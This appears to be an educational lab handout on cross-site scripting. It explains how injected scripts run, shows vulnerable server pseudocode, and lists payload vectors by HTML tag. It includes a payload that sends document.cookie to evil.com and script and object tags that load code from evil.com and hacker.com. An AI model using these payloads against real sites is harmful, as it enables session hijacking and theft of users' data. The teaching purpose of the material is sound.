Experiment 7
Experiment 7
inject malicious scripts into web pages. Show the potential impact of XSS attacks,
such as stealing cookies or defacing websites.
Malicious JavaScript has access to all the objects that the rest of the web page has
access to. This includes access to the user’s cookies. Cookies are often used to
store session tokens. If an attacker can obtain a user’s session cookie, they can
impersonate that user, perform actions on behalf of the user, and gain access to the
user’s sensitive data.
JavaScript can read the browser DOM and make arbitrary modifications to it.
Luckily, this is only possible within the page where JavaScript is running.
JavaScript can use the XMLHttpRequest object to send HTTP requests with
arbitrary content to arbitrary destinations.
JavaScript in modern browsers can use HTML5 APIs. For example, it can gain
access to the user’s geolocation, webcam, microphone, and even specific files
from the user’s file system. Most of these APIs require user opt-in, but the attacker
can use social engineering to go around that limitation.
The above, in combination with social engineering, allow criminals to pull off advanced
attacks including cookie theft, planting trojans, keylogging, phishing, and identity theft.
XSS vulnerabilities provide the perfect ground to escalate attacks to more serious ones.
Cross-site Scripting can also be used in conjunction with other types of attacks, for
example, Cross-Site Request Forgery (CSRF).
There are several types of Cross-site Scripting attacks: stored/persistent
XSS, reflected/non-persistent XSS, and DOM-based XSS. You can read more about them
in an article titled Types of XSS.
1. To run malicious JavaScript code in a victim’s browser, an attacker must first find
a way to inject malicious code (payload) into a web page that the victim visits.
2. After that, the victim must visit the web page with the malicious code. If the attack
is directed at particular victims, the attacker can use social engineering and/or
phishing to send a malicious URL to the victim.
For step one to be possible, the vulnerable website needs to directly include user input in
its pages. An attacker can then insert a malicious string that will be used within the web
page and treated as source code by the victim’s browser. There are also variants of XSS
attacks where the attacker lures the user to visit a URL using social engineering and the
payload is part of the link that the user clicks.
The following is a snippet of server-side pseudocode that is used to display the most
recent comment on a web page:
print "<html>"
print "<h1>Most recent comment</h1>"
print database.latestComment
print "</html>"
The above script simply takes the latest comment from a database and includes it in an
HTML page. It assumes that the comment printed out consists of only text and contains
no HTML tags or other code. It is vulnerable to XSS, because an attacker could submit a
comment that contains a malicious payload, for example:
<script>doSomethingEvil();</script>
The web server provides the following HTML code to users that visit this web page:
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
When the page loads in the victim’s browser, the attacker’s malicious script executes.
Most often, the victim does not realize it and is unable to prevent such an attack.
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>
To learn more about how XSS attacks are conducted, you can refer to an article titled A
comprehensive tutorial on cross-site scripting.
<script> tag
The <script> tag is the most straightforward XSS payload. A script tag can reference
external JavaScript code or you can embed the code within the script tag itself.
<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>
JavaScript events
JavaScript event attributes such as onload and onerror can be used in many different tags.
This is a very popular XSS attack vector.
<body> tag
An XSS payload can be delivered inside the <body> by using event attributes (see above)
or other more obscure attributes such as the background attribute.
<img> tag
Some browsers execute JavaScript found in the <img> attributes.
<iframe> tag
The <iframe> tag lets you embed another HTML page in the current page. An IFrame
may contain JavaScript but JavaScript in the IFrame does not have access to the DOM of
the parent page due to the Content Security Policy (CSP) of the browser. However,
IFrames are still very effective for pulling off phishing attacks.
<input> tag
In some browsers, if the type attribute of the <input> tag is set to image, it can be
manipulated to embed a script.
<link> tag
The <link> tag, which is often used to link to external style sheets, may contain a script.
<table> tag
The background attribute of the <table> and <td> tags can be exploited to refer to a script
instead of an image.
<div> tag
The <div> tag, similar to the <table> and <td> tags, can also specify a background and
therefore embed a script.
<object> tag
The <object> tag can be used to include a script from an external site.
<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">